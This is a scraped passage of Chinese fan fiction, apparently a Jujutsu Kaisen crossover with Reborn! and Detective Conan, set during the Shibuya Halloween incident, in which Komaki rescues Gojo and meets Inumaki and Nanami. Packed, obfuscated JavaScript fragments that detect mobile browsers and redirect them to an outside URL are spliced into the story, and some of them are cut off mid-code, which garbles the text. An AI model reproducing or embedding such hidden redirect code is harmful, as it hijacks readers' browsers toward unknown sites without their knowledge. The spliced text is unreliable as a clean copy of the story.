l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413105|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生效,缝线脑袋和真人都没有发现她。 缝线脑袋在笑着和愣神的五条悟说话。 这傻子嘴角居然还咧着笑,这是在干什么。 真人在摸鱼。 为了一个初次见面的男人,她真的付出了太多,可不要让人失望啊,五条悟。小莳悄无声息落到他身后,眼尖地发现五条悟的耳朵动了动,发现她了? 小莳的心尖难得再次因他人dokidoki:你还真是小猫咪吗?拜托了,请不要乱动,我维持新鲜制造的幻象属实不易,请尊重小女孩的劳动成果,KOMAKI’slifematters! 揪住他的后衣领,很好,没有阻碍。 下一秒,小莳拉着五条悟后脖子离开的同时,她无中生有出来的幻术五条悟双手被这个称为狱门疆的东西束缚住。力度之大,甚至有了被压迫到内八的迹象。 小莳知道自己必须得做点什么维持真实性,不然他们会怀疑。 她和真正的五条悟来了个对视,希望从原主身上得到一点有效提示。 没有读心术,突然羡慕齐木同学。小莳只从蓝蓝亮亮的眼睛里看到了潺潺流水一样清澈的愚蠢,完全没有能对上电波的迹象。 确认过眼神,应该是没有血缘关系的人,她的两个哥哥都不是笨蛋! 想办法,快想办法,在这种时候人类一般会说什么……不对,这些人根本也不是普通的人类吧,说到底都是一群超出正常范畴的存在!小莳缺乏头绪。 “这可不行啊,悟,怎么能在战斗中陷入沉思呢?” 他怎么一副和五条悟很熟的样子! 小莳决定搏一搏,她赌他看不出来。 她让幻觉问他:“你是谁?” “夏油杰啊,忘记我了吗?好伤心。” 听起来像个人类的名字,但是你那脑袋缝缝补补完全不是人类该有的形象吧,怎么,你也cosplay过万圣? 真的吗,她不信。 小莳一路火花带闪电拖着五条悟上了扶梯,分神还操控着幻象:“你不是。你到底是谁!!!”即兴加了一点愤怒进去,让他们自己猜。人类的感情就是这样复杂。 她对五条悟竖起了手指,放于嘴唇前,让他不要说话。然后悄悄关注那边的情况。 一瓣山茶花飘落到他的发尖,“这是什么?” 真人和他解释了情况。 然后踢着伙伴的头进了隧道,他不喜欢这里。 在真人离开之后,那边拆线,然后露出脑花。 说着什么鸠占鹊巢的自得之词,咒灵操术,家入硝子,大概是在说没有及时火化之类的。 你们演电视剧去吧,别在这霍霍公共资源。即使是神经大条的人也能看出来,这又是一个想要毁灭世界的疯子,小莳童年的缺憾在此算是弥补了。看样子,她像是一定程度上阻碍了此人的阴谋。 几簇花瓣落到他掀开的头盖骨里,这个夏油杰连忙把脑袋装回去,缝线归位。 “晚安,五条悟,新世界再会。”这是狱门疆关门前斑鸠的最后一句话。 * “这玩意和我的幻境还挺像的,那么大个人现在被封印在这么小的肉块里了。”小莳在危机大体解除后,稍微放下心来,开始和五条悟说悄悄话,“你知道狱门疆是什么吗?” 五条悟:“不知道。” “他走了,我去跟踪一下。”富贵险中求,冒险精神和自由意识跃跃欲试。 她以与言语不符合的姿态谨慎地悄悄尾随。 在隧道不到50米的地方,三个恶党聚首,那边的对话有提到狱门疆,赶紧认真听讲:只能关一个人。 那么问题来了,如果里面实际上没有任何人……小莳眯起眼睛,看见肉色的正方体变成石灰色,这是什么意思? “封印已经完成,可以离开了。” 哦,那就好。小莳的眼睛又自然变得圆圆的,她开始想起火山头的事情,如果几分钟前五条悟及时补刀-- 然后接下来两人小团体……和那个火山头进行了一些内讧。 不知道宿傩是谁,也不知道虎杖是谁,但总之因为火山头失去战斗能力,暂时被大脑袋收起来带走了,他强烈主张的复活宿傩计划也因为无人执行而搁置。 而真人要杀了虎杖。 刀了虎杖和复活宿傩有什么联系吗?如果这是娱乐项目,她一定会因为一下子突然出现太多新角色弃了,谁家好人第一话就是大坏蛋企图占领万圣节的地铁站啊! 小莳离开的时候也不留痕迹。 散场后,她回到地铁站台。五条悟已经在观察人类,小莳回来的时候没惊动他,但他好像背后长了眼:“刚刚那是什么,伪装,替身,傀儡?” “只是有点类似魔术的障眼法。一定要说的话,还是幻术。”小莳给五条悟讲解了一下自己上次在魔术秀上看到的通过镜面折射在箱子里放东西而观众什么也看不见的魔术,“只是通过试听手段让他们以为你已经被封印--这个世界在做一些很新的设定,我还没完全适应。” 然后紧接着开口问面前看起来状态不算太遭的男人:“你愿意解说一下现在的情况吗?稍微说下就行,不然感觉在这里寸步难行。你也看到了,那个真人超吓人,只是碰一下人就变身了,怎么会这么无解?还有领域展开什么的,虽然目前为止没发现什么后遗症,但是有一瞬间其实我是觉得自己要变成智障了,我本来以为会是刀尖火烤那样物理系的,毕竟漏瑚他看上去是火山,噗噗喷火的那种……” 38. 第 38 章 几分钟以后,小莳成功理解了大部分内容,五条悟说不定还真是个人民教师,讲话怪有条理的。 “等等,你这个无量空处也……有点被痛击了。” 五条悟掏出眼罩,在脸上眼前试了试弹力,一切OK,他语气又变得放松而轻佻起来:“别担心别担心,你只晃神了一小会,打败了日本99.99%的咒术师。” “这不一样,我吐了两次,果然还是不太舒服。”这种殊荣她可敬谢不敏,“你是很强的咒术师吗?” 得到的回答是酷酷的:“最强。” 因为是回答了问题的人,兼小莳在这种赶上一线战场的时候不太愿意给差不多算是队友的人拆台,想了想还是没有提醒他身为最强差点被ban的事实,认真问起了问题:“一般来说只要找到咒术师就可以通过各种方式使咒灵们gg了对吧?” “按理说是的,只要咒灵失去战斗能力,一级咒术师也能袚除特级。只是这种情况一般不会出现,开了领域就是瞬杀的事情。”五条悟重新提醒刚刚谈到的知识点,领域内必中,能被打到就会被打死。 “对哦,但话又说回来,你也说过特级咒术师只有4人,那咒灵也不会多到哪里去吧?真人一个,漏瑚一个,花御一个,胀相一个……其中漏瑚花御已经不成气候,那个夏油杰好像要随机游走打野,那就只剩下胀相、真人和其他一些随机盲盒款了?”要是咒灵数量多的多,这还怎么打。 她好像冤枉禅院家家主了,做一级已经很强了,能排第五名。 五条悟不自然的顿了一下,但是很快回神:“嘛,差不多,怎么了?” “我在想至少今晚你不会有事了,那么接下来我们暂时就此别过也不错。”小莳捏了捏自己的下巴,好嘛,知道特级是什么水平,知道自己差不多也能和特级过两招,即使遇到情况不明的境遇,逃走也非难事。本领恐慌骤然下降,她转头就想自己探索新地图:“毕竟以你的实力,其实不太需要同行者,对吧?今晚我打算做点好事,既然这一层一层帐里面随手就能捞到一二级咒术师,就工作效率而言当然是更倾向于和他们合作。你名气很大?” “那当然,没有人不认识我。” “……你说的无人不知,是好的那种还是坏的那种?”这个人有点强得可怕,按照他自己的说辞是如此,但小莳比起相信更擅长怀疑。 得到了颜值已被封印的最强打包票的笃定回答,小莳仍然半信半疑。 五条悟问她:“你要走了?” “先逛逛传说中的副本,再吃个晚饭。”接下来还没想好,谁知道这还能跑错地方,晚上进了门以后也没有路径选择和支线分流的事情,她只是从京都掉到了涩谷。 回个家真不简单。 五条悟侧目:“……这真是,顶级松弛感。” “多谢夸奖,你听说过一个叫做并盛的地方吗?” 这是他的回答:“从来没有。” “哦,那是我家,”小莳沿着扶梯回到拥挤的地下,在路过幻术倒地的自己时挥挥手,它就变回了手机的样子。径直越过它,她蹲下身开始整理自己千里迢迢背来的双肩包,“几年前一不小心流落到别的世界去了,本来以为今天能回家的,真可惜,原来是一不小心又流浪到另一个地方了。”不愧是你,玛雷指环,调剂式灵验。 “……”五条悟觉得自己也是运气不一般,难得遇到险情,却又碰到了这个路过的旅者,被年纪轻轻的女孩顺手搭救,他不由发问:“你接下来打算怎么办?” 小莳扯开背包搭扣看了眼内里,整整齐齐,她叹了口气,作答:“先吃饭。”她的意思是,不知道,随手从包里抽了一张印出的照片,还有一只中性笔,照片上是在北海道拍的吊切安康鱼,和田所惠还有理子的合照。 五条悟盯着照片里因为吃鱼而嘴巴塞成小仓鼠的学妹。 “……” “你怎么看上去有很多话想说,拍立得怎么你了?”小莳转过照片,递出笔:“来都来了,留下你的手机号,等我买了手机过段时间联系你,如果你还活着的话可以回我消息。” 压下心中诸般疑惑,五条悟接过小莳的笔,不动声色发问:“这是谁?黑色头发的小姐姐。” “我学妹,在另一个世界。” “……” * 21:12五条悟和小莳分别。 差不多同时,机械丸留下的ai程序联系了虎杖悠仁,并告知了他有新的人物出场,特征是和五条悟有点像,立场不明,不排除是尚未引起注意的诅咒师。 小莳走的时候挑了一个女孩的手机,电量80%,充足。询问了她密码,在被椿树迷惑的情况下答案直接告知,小莳解锁后设置成无密码模式,随身携带。 注定是个不眠夜,肚子饿了可不好做事。 在和传说中(他自己说的)的最强沟通完毕后,小莳可想明白了,一般人也好,咒术师也好,她都不是,帐困不住她。带上电子支付,先去附近商场吃饭去咯! 感恩这个世界的咒术师图省事,喜欢设下xx不得入内的条件。小莳不符合其中任意一条,因而出入自由,全无障碍。 摘下头上的发夹,那是一段时间前和园子还有毛利兰逛街时候在小饰品店挑选的,不过月余已隔了个世界,她将之随手一抛,原本羽毛形状的图案就化作一叶舟。 乘上去,晃晃悠悠飞走。 海鲜太费时间,拉面暂时又不想吃,小莳俯瞰夜间的街道,最终选定了一家定食屋。 猪颈肉盖饭配上半熟不熟的鸡蛋和酱料,是小莳面前腾起热气的新晚餐。 美中不足是饮品店在九点多纷纷关门,只能喝便利店的现泡奶茶,粉末冲泡的那种。 还听了个八卦。 据说涩谷那边不知道怎么几百个人在喊一个叫五条悟的人,结果网上搜半天发现没这个明星,商场也没有推送名人。 有思辨者发出质疑:“万圣节的商圈每年本来就会又几起踩踏事故,这时候警察都焦头烂额了,商场那边明星活动根本批不下来吧!” “说不定只是低调过节然后被发现呢?公民都有自由出门的权利。” “所以五条悟到底是谁,我天天冲浪完全没有听说过这个名字。” 附近还有警察执勤,交警的摩托车也时不时有见到。小莳凑了个热闹:“是大数据,你被信息茧房了!” 离开便利店,已经是夜间九点半。 等她捧着半杯温热的奶茶回到第一层帐时,周边和里面都已经基本没人。 看样子这里还是繁华商圈,看见一些标价大概是一线的商品。商场里有改造人在互相吃对方,更适合异形宝宝们的嬉戏游玩活动。 烦心,小莳随手解决。 400米……算成直径就是800,要用走的话其实也不短。穿过亮着灯的商场大楼,在一家墙上开了洞的服装店出去。 看见个金毛,歪的单马尾,还在呼吸。 他被砌进了墙里。 穿的衣服一眼不正经,上半身完□□露出来,不知道是战损还是非主流,但显然此人生命力顽强。小莳走近想看看情况,却发现后面有把刀对着自己,刀柄被设计成紫色的手。所以每次握刀其实是在牵手……真是诡异又恶趣味的设定。 刀刃破空,她不可能像个平民一样毫无察觉,回头就看见怼着后脑勺快刺进去的刀刃,现在对着她面门了。 冷静地打掉这突袭的武器,不想触碰,她选择了架起一面墙。小莳随即回头,看见身后靠着墙坐在地上的人正露出不怀好意的狞笑。 ……这人还怪坏的嘞。 重面春太脸上最后的表情是反应不及时没时间更换的面貌,面颊笑得奸诈,眼里却泛恐慌。 路上一不小心打丧尸打习惯了,小莳下意识冲着这个诅咒师的脑袋下手,就成了钢筋穿太阳穴而过的场景。 诅咒师是人类,人类没了脑袋会下线。好巧,改造人也是呢。 小莳冷静地听见落地刀剑和水泥路碰撞的叮锵声,保险起见对他的心脏和脖子都开了两下,确认补刀。 没有姓名的诅咒师的死亡板上钉钉,她走向下一个街区。 天桥那边有点热闹,小莳人还没走近就听见“不要动”。 身体像被什么东西阻滞,有点类似于很久以前和山本武对练时被【雨】浸润的感觉。并非是强制性的禁锢,但如同在水下走路,能明显的感受到水流幽咽难行的劝诫意味。 人才辈出涩谷站。 小莳走向声源地,看见一个拿着大喇叭的服帖白毛,他的嘴角有黑色纹样,唔,参考了一下过往经验,分析目前情况:大概是言灵术,和她一开始设想的雨属性完全不是一种东西,只是呈现在她身上的样态有些许类似。 她的余光还瞥见有人迅速跑远的背影,往那里看去,对于一个穿着校服里面套着红卫衣的男孩来说有点不正常。小莳没来得及去正视迅速离开现场的那位,就更先注意到这位白毛身上的校服和五条悟是同款,他的眼神中有警惕,感觉不像坏人。 而且他目前在现场像纪律委一样维持秩序,改造人和人都因他的话静止,这总不会是诅咒师了。 小莳自信问他:“你认识五条悟吗?” 他回答:“鲑鱼子。”啊? 泽田小莳,从重新恢复一部分能力现在才过了一个多小时,有一种真千金被豪门找回所以顺便转学,但是在学校里因为转校生身份被全世界80的错觉。 本来以为万事开头难,和五条悟分别以后就不会再有艰难险阻了,谁想到在那之后顺利的只有猪颈肉盖饭。 奶茶也不好喝。 小莳吸了一口饮料,“你是咒术师吗?” “鲑鱼。”是。 “……”等她在这里站稳脚跟,想投资一部纪录片《寿司世界》,到时候就请这个人来做旁白,小莳不喜欢吃生食,但说到寿司也有不少熟食很美味,她没什么沟通意义地开口:“北极贝?” “……” “我听不懂你讲话,我怀疑你是生得术式是没有办法自行关闭的言灵,听懂请点头或者摇头?” 她看见对面的少年放下大喇叭,迟疑,但仍然警惕地点了点头。 “你是咒术师,并且是五条悟的关系人?” 点头,点头。 “好巧,我不是咒术师。但我刚刚见过五条悟。”小莳心里在走神,又想起山本武,他爸爸也是开寿司店的呢!海螺寿司也很好吃,当然她最喜欢的还是蟹类。“刚刚我们在地铁站那边巧遇了一下,分别后我就自由行动了。正好遇到了你,我来帮你处理下这边的改造人,你可以当我是一般路过的好心人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413106|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 狗卷棘从辅助监督那边已经听闻了老师被封印,现场出现了一位新人物的事情,实际接触起来发现她的说辞与情报不符。 “鲑鱼子?”你是谁。 “日语英语意大利语,寿司语不在我的语种库。”小莳在天桥下重新用幻术栽种一棵树。 区别于之前有所感悟下意识选择的椿,这次因为想到了彭格列的亲友,她决定:那就樱花。 听说阿纲恭弥还有六道骸的修罗场就源于樱花的季节。但不知道为何恭弥恨死樱花……所以彭格列总部在六道骸成为雾守期间种满了樱花——云守云雀恭弥是个常居并盛的恋家人,偶尔才来意大利,而有人动用手中职权,种种种。 经费再紧张也少不了修缮费用,不然财务会把房顶掀了。 小莳打了个响指,涩谷街头,11月落樱。 “有餐巾纸吗?不用说话,有的话直接给我就行。”反正她也听不懂。 狗卷棘……狗卷棘看见樱花盛开,追逐着在场的改造人。 大概,事实胜于雄辩。 “手帕?”小莳神色讶异看了少年一眼,和他确认:“我可是要用来擦鼻血的哦。”今晚的劳心劳力程度堪比刚放学就遇到丧尸围城,刚拿到挂就遇到抗性怪,流点血说实话不算什么。 “海带。”狗卷棘说出口才意识到这时语音没用,他很快点点头。 小莳就接过他的好意,“谢了,如果以后有机会还你个新的。” 她说完才眨眨眼,反应过来这话讲得有点敷衍,于是掏出今天新捞的手机,现在还有65%的电量,因为在吃饭的时候趁机多玩了一会,耗电快。“你可以输下手机号,以后联系你。” 小莳的手在空中停顿了十几秒,等狗卷棘意识到场上这个全自动净化设施一样的樱花树能以一种闻所未闻的方式抹杀改造人后,他才回过神照做。 “狗卷棘。”这名字可可爱爱的。小莳告诉他:“我是泽田小莳,文字版下次发信息的时候也一起发给你。” 还挺善解人意的小男孩,可惜是半个哑巴,全障碍沟通。 “你身上有伤吗?”小莳打算顺便奶一手,然后和他分道扬镳。 狗卷棘摇摇头。 “再问你点私人问题,你知道并盛町吗?”刚才也没在社交网络上搜到,小莳还是想问问。 答案是否定的,狗卷棘的眼神里出现迷茫,好像在问“这是哪里?” 小莳叹了口气:“是东京周边的城镇啦,真可惜你也没听说过。” 果然是走错了世界吗?意料之内,不代表她不失望。 其次还有个问题:“对了,五条悟是最强吗?” 点头。 好好好,原来一开始的不顺利也源于遇见了天花板,不然她还以为版本膨胀自己数值贬值了。 小莳:没事就好,小莳你尊嘟很棒! 心情变好了一些,她决定前往下一个街道。 “OK,那我准备走了,这条街上如果没有咒灵的话,普通人都会平安无事。如果是咒灵的话……非咒术师好像是不能杀死诅咒的,所以可能就没办法了呢,你可以去其他地方,也可以留下来。”小莳朝他挥挥手,这就是道别,“谢谢你的手帕,狗卷。” * 路肉眼可见的长,小莳选择代步工具。涩谷真是个大地方。 在路上,看见一只巨型猫头鹰驮着两个人,他们飞得好高,大约离地面几十米。小莳是不介意仰视的,但她又羡慕了,她以前也有可以飞行的鸟类,现在只有飘飘摇摇又不够气派的一羽小舟。 咒术师的世界还真是卧虎藏龙,要不怎么说干mafia这行还是差点呢,他们可不敢在闹市区乱开匣,遑论召唤出怪谈生物。 有一秒她怀疑自己和猫头鹰上清醒的那个人是不是恰巧对视上了,另一个人似乎失去了意识,只是距离太远,他们相对而行的瞬间又太短。猫头鹰驮着两人转了个方向,绕过大楼进入了小莳的视觉死角。 这副不欲久留的架势,多半是有人战损要去补给点接受治疗。 小莳没有很在意,不紧不慢往前晃荡。顺便把路上能清理的小怪扫一扫。 * 伏黑惠和虎杖联手解决了诅咒师粟坂二良,在那之后接下了情况不妙从高楼直升机降落台上坠落的猪野前辈。情况不明,但帐已经解除。如今同伴一息尚存,比起上楼去探究真相倒不如把握最主要的关键,找到被封印的五条老师。伏黑惠决定和虎杖分头行动,他先带猪野前辈找家入医生疗伤再回归战场,虎杖按照原计划前往车站。 当小莳来到立交桥附近的时候,她所看到的正是虎杖悠仁快速奔跑的身影。 伏黑惠做了初步的伤口固定和包扎,确保运输过程不会出现问题后,乘着鵺离开到有信号的地方再电话联系同伴。 就是那时他遇见了传闻中出现在五条老师被封印现场的人,一头白发十分显眼,她身下是什么,毛毯? 下面的人若有所感的向上看来,正对上伏黑惠的探究。 运送伤员是第一要务,他选择先行避让,转向拐入另一条街道。发现无人跟上来后松了口气,她前往的方向是……似乎是商圈,难道是才从地铁站出来? 这段时间到底发生了什么。 伏黑惠暂压下心中的担忧和焦虑,决定快去快回。 39. 第 39 章 伏黑甚尔正在进行对于某个他并不在意人物的窃听,对话进行到无关紧要的闲聊部分,克丽丝·温亚德,现在袒露了身份,她说自己可以称呼她为贝尔摩德,如果有朝一日能成为同事,他也会拥有一个以酒为名的代号。 对组织无感,对酒也嗤之以鼻的伏黑甚尔因为贝尔摩德的馊主意还和女友分了手,准备随便说点什么,下一秒他眼前是高楼夜景,自己站在百米高的顶层,俯瞰绚烂灯火,光亮如昼。 听见的第一句话就是年迈的声音告诉他:“你下去把咒术师都干掉。” 嗯? 进行一番对话,他在女人震惊的自言自语中了自己因何而出现在这里。是降灵术:老太婆让孙子降灵了他的□□强度,可他没有那个驾驭天与咒缚身躯的能耐,自己也得以重返旧世界。 伏黑甚尔没给眼前的老人多余的关注,差不多得了,随手送走了年老的降灵女巫。 米花町的生活很好,可他正处在被断崖分手的低谷期,现在也不是很想见到贝尔摩得,同时还也不想给黑衣组织打工。 一年不见,不如看看涩谷发生了什么事。 伏黑甚尔从安全通道下到顶楼,就遭遇了被关在办公格子间里的改造人类,而再下面等待他的还有一整栋楼。 伏黑甚尔:…… 随着时间和重复动作的倦怠感,身体好像不再属于他,而是会遵循自己的意志行事,伏黑甚尔陷入梦游一样的游离状态,意识将身体甩在脑后,自顾自地流动。 原本降灵术在被降临者咒力耗尽后便会结束,但伏黑甚尔是割舍了一切咒力换取强力□□的天与咒缚,卡bug一样,术式再也没有结束的契机。为世界所不容。在挥刀的重复中,他化身为只知道杀戮的修罗,只要□□不损,便永远只会挥戈向目之所及的最强者。 暴乱的躯体在清扫完整栋楼以后,将黑黢黢的目光投射到50米外地铁站中一处领域。 失去意识的伏黑甚尔乱杀了刚从咒胎中诞生的陀艮。 五人脱离领域,回到地铁站出口位置。 伏黑惠一脸懵地被一拳穿碎玻璃打到了户外的马路上,只留禅院直毗人、禅院真希、七海建人待在原地。 禅院直毗人:……???那是你儿子啊喂! 路面上的行人一个没有,这是唯一让伏黑惠松了口气的事。大概是狗卷前辈帮忙疏散的,他这么猜测,然后全心应对面前散发恐怖气息的男人。 月光下空旷萧条的市中心,小巷里乘风飘来落樱,这个季节怎么会有樱花,他看走眼了吗?来不及在这个问题上思考更多,伏黑惠疲于招架眼前一声不吭但强得可怕的男人。 这人给他的身上带来了大大小小的伤口,让他疲于奔命。脱兔拦不住这人,甚至无法阻碍他行经的路线,而自己的身体也一步步接近强弩之末,再难以为继。 伏黑甚尔重新接管身体,是他意识到对面的人用影子欺骗了他的时候,本该击穿要害的攻击落空,当大脑重新开始思忖的时候,他意识到是禅院家的十影。 于对方警惕又无能为力的目光中,他扬起头,露出了自己的眼睛,两人的目光在狭窄的夜晚初次相逢。这人长得还挺像自己,伏黑甚尔心里有了一个答案,只需验证,他问:“你叫什么名字?” “伏黑。” 那这小孩长得有点大啊,可惜10个没有了,伏黑甚尔没什么遗憾地想。他的心思飞得有点远。 他还想起了久违的第一任妻子,对方把孩子托付给了自己。 啊,已经是很久很久以前的往事了。 而那些更鲜活的记忆,全是关于米花的另外一个人,阳光下的泡沫一样耀眼,丰硕累累的稻穗一样饱满。他想,可以回米花町。 “不姓禅院啊,真好。” 伏黑甚尔举起右手,准备结束万圣节之夜。 然而一道突然想起的声音制止了他,这个语调,即使到地狱里他都会记得:“嗨嗨嗨,哟,惠,好久不见~” “五条老师?!”不是被封印了吗? 听说已经遭遇不幸的老师竟然来到身边,他一打招呼,伏黑惠被吓了一跳。更令他惊讶的是面前明明已经不知道为什么失去战意的男人转头把削尖弄断的游云往他五条老师身上戳。 准确的说,戳脑袋。 更准确的说,人只有两只手,游云现在有三段,所以其中一段被从正面大力投掷,另外两段跟着左右双手攻击目标的两个太阳穴。 伏黑惠原本在准备召唤魔虚罗的双拳都下意识张开了。他本来打算强制将面前的男人拉入调伏仪式,然后同归于尽的。 男人暴风骤雨的行动即便迅速且出人意料,还是被无下限术式拦截。 “哎呀呀,这不是小惠不争气的父亲吗。伏黑甚尔。让我看看,降灵术?真难说,即使是我也惊讶了,竟然可以做到这种程度吗?”五条悟在看到伏黑甚尔的第一眼就认出了他,和当年如出一辙的压迫感还有同样令人不爽的这张脸,应该说,不愧是万圣节吗?六眼分析出的情报自然有它难以置疑的道理,但这也太……简直是巧合中的巧合。 “……” “……” “就当是世界之大无奇不有好了,毕竟……”刚还在泽田小莳的拍立得上看到了天内理子。五条悟扯下的眼罩就一直没再戴回去,他心存戒备,但言语不表露:“看到你还是和以前一样没用我就放心了,当然,长得也同样年轻。” 伏黑惠脑袋里努力分析巨量信息的时候,面前的一白毛一黑毛已经打了一轮又一轮。 --- “事情就是这样啦,至于封印之事,纯属无稽之谈。老师可从来没听说过这样的说法!”解说了一下降灵术部分,介绍了尾神婆的提取尸体降灵的本事,隐瞒了今天自己的确差点翻车的事情,也隐去了事件另一人物。 伏黑甚尔意识到这边事件过得比较久,五条家的小鬼已经彻底完全体,知道自己没有什么动手成功的机会,也知道自己不太熟的儿子过得还挺好,又萌生出刚才自裁的想法。 而他这次成功了。 “——喂!”伏黑惠瞪大了眼,翻起地上面着地的脸,是不同于刚才面貌的陌生脸庞。 五条悟对伏黑甚尔的坏性格没什么期待,只觉得这对伏黑惠不太友好,在孩子面前做这些,真是个糟糕的父亲,感觉不如亲亲老师。于是体贴温柔善良又强大的老师出言安慰:“这很正常,他选择结束的时候,降灵也就到此为止,这就是争夺身体失败的原主的脸。现在,我们--” 原本想说去找悠仁,但是今天第二次,有什么东西从天而降了。 哈哈,仔细一看竟然是以西装白衬衫形态出击的伏黑甚尔。 五条悟:(脏话) 伏黑惠:啊? * 伏黑甚尔心满意足地将游云插入太阳穴后,眼睛一闭一睁回到了熟悉的酒店房间,贝尔摩得看样子准备给他一巴掌。他抬手止住她的掌风,但还没来得及说话,身体一轻,手中原本握住的手腕消失在虚空。 眼前的景象从豪华套房转回阴暗的小巷,有点眼熟。 仔细一看竟然是刚刚涩谷的那个落魄巷口,面前是没说过几句话的伏黑惠,还有龇着牙齿的五条悟。 伏黑甚尔:(脏话) * 小莳循着声音和一些咒灵遇到了一个咒术师,她又进入了地铁站。 也是个战损金毛,和今天第一个诅咒师一样。 之所以说他是咒术师,是因为他看起来是肉眼可见的一身正气。上衣是确凿无疑好好穿着的,看起来还是高端人士、成功精英商务套装,只不过可能经历了一些外力撕扯和……有什么东西在他身上啃噬出这么些伤口和破损吗? 涩谷大舞台,敢闯你就来。日本这地方风水居然比意大利还差,21世纪东亚竟然也会有这一天。 跳过不必要的123,小莳先问了上一次没问的问题:“你会说日语英语或者意大利语吗?” 对方拿起了刀。 此人受的伤不轻,心情大概也比较不好,她思忖着直接把人打晕的可行性,他手上的刀很钝,是用这个来砸人吗? 他问:“你是谁?” 好像可以沟通,谢天谢地,她举起双手:“我是良民。你知道一个叫做狗卷棘的高中生吗?我刚刚帮他一起清理了街头的一些小状况,现在分开了。” 七海建人在体育馆里本来都要以为那个打败陀艮的男人是友军,没想到现实是伏黑惠被掳走不知所踪,左眼负伤,咒力消耗大半,身上也破破烂烂,没想到这样的自己还是剩余三人里状态最佳的一位。 嘱托禅院家主和真希去寻找伏黑惠,七海建人独自踏上深入地下的路。 庇佑可以庇佑的,袚除眼中见到的,还有,寻找,五条悟。 身体还未至极限,但思想如被粘滞的泥浆纠缠,心灵亦是疲惫不堪,即便如此,他强打精神以审慎的态度面对相迎的来者。 白发,蓝瞳,是机械丸提到的女性。 她说的话七海建人凭理智并不相信,根据机械丸所说的监控显示,她在五条悟被封印以后就在现场,现在却说自己从街道过来,难以信服。 不与之周旋,他直接问:“五条悟在哪里?” 什么鬼,五条悟是你们咒术界万人迷吗?你好爱他。小莳眉头紧锁:“这我哪知道,只在800米内,楼高不知处吧。我九点出头就离开地下五层了。” “然后呢?” 小莳坦率告诉他:“然后我去吃了猪颈肉盖饭。在一公里外多,帐的外边,手机绑定银行卡支付,银行还给我发了信息,证明确实有这么个订单。” 打开手机信息,抛给金发的男人。她悟了,狗卷棘,白月光指数比不过五条悟。 他没接,甚至后退一步任由其掉在地上。过了几秒才单膝触底捡起,确实有个未读短信。小莳由此得知这是一个严谨并且细致的人。 “而且你可以在联系人里面搜索到狗卷棘的名字哦,大概二十分钟前他亲手在前两个街道外的天桥附近输进去的。不过我也不清楚手机有没有即时记录,你看看呢?” 她说这话的时候忍不住打了个哈欠,本来该是她徜徉在梦中的十点半,现在连住的地方都没找到。这里住酒店如果要番号卡的话那岂不是只能露宿街头,不行,怎能落魄至此,实在不行出去就给五条悟打电话,御三家一定很有钱吧。 小莳在自己的舒适靠垫上翘起了脚,对方一言不发,刀却晾在外面,是在认真看手机。 片刻后,小莳又解锁了新的人物,他说他叫七海建人。 这就算是组队成功。 “好可爱的姓氏,娜娜明。噗。”小莳拿回手机,“你眼睛还好吗?” “……” 七海建人不说话,小莳看他的绿色墨镜觉得有点亲切,心情好,顺手用余裕的火炎给他治疗了一下。 附上暖心小贴士:“不是咒术师,不会反转术式,家里祖传小偏方,只能救急,不能治本。” 没有被这个十全的解说吓到,确实感觉减轻了很多痛苦的七海建人不习惯小莳说话的腔调,他不自然地道谢:“……谢谢。” “客气。你现在打算去楼下做什么?”下面早就散了一轮,现在过去只能赏椿。 “五条悟被封印,我们要夺回狱门疆。” 小莳这下是傻眼了:“啊?他不是最强吗?怎么又被封印了?”怎么听上去是吃一堑,再吃一堑,又双叒叕吃一堑的味道! “成为最强不意味着他无懈可击。”七海建人将五条悟视为可靠但不值得尊敬的前辈,在外人面前,仍有着咒术师的团结调性。 他想柔性劝导小莳对五条悟不要如此出言不逊,小莳只当五条悟是真闪瞎人眼的万人迷,连直觉上让她觉得比较靠谱的人都开始睁眼乱讲话了。 她不讲话了,又想到既然五条悟和他的无下限一起无了,不知道真人有没有顺利封印。当时地铁那边没能带走他,对战斗定位为脆皮法师的小莳而言可就是养虎为患。 理智提醒她现在形势不妙,直觉却没有动静,不管怎样,小心为上。她抬手点了点指环,人嘛,还是要有一点直面艰难困苦的勇气,和随时应对风险的胆魄。她劝解自己不要做出冒进的决策,先往下看,于是与七海建人开始一段聊天与信息收集。 七海建人是一级咒术师,根据五条悟曾经和她说过的信息,这代表着他能够独立袚除一级咒灵,而特级咒灵由于领域原因则是他难以十成把握祓除的。 小莳问他:“七海,你的术式是什么?” “……三七分弱点。”七海建人看着眼前的女孩坐在摇摇晃晃的浮空羽毛上,展开手,漫不经心观察自己的指甲。 在他说出痛恨工作与加班的理念时,小莳感同身受的点头:“对的对的,所以我一直坚持着众人拾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“……封印失败是什么时候?”之前说的可靠消息来源,或许出了些小小的偏差。 小莳竖起手指,“九点后不过五分钟。记得清楚是因为那个时候我正好看了一次时间。” 像时钟突然没了电,指针停转,七海稳稳向前的步伐停止:“那么五条悟可能没有被封印。” “?”好吧,那我只能说你这人不如你看上去靠谱,明明应该是很可靠的成年人,怎么会这样,小莳因为今晚多次的判断失误又产生些许挫败,“此话怎讲。” 七海终于说了ai机械丸的事,也说了机械丸选定的接应人是五条悟的学生虎杖悠仁。 “所以虎杖悠仁也是学生哦,我以为他得是个助教什么的,那么宿傩是?”好可怜的孩子,十几岁的年纪就被真人盯上,他才高一。 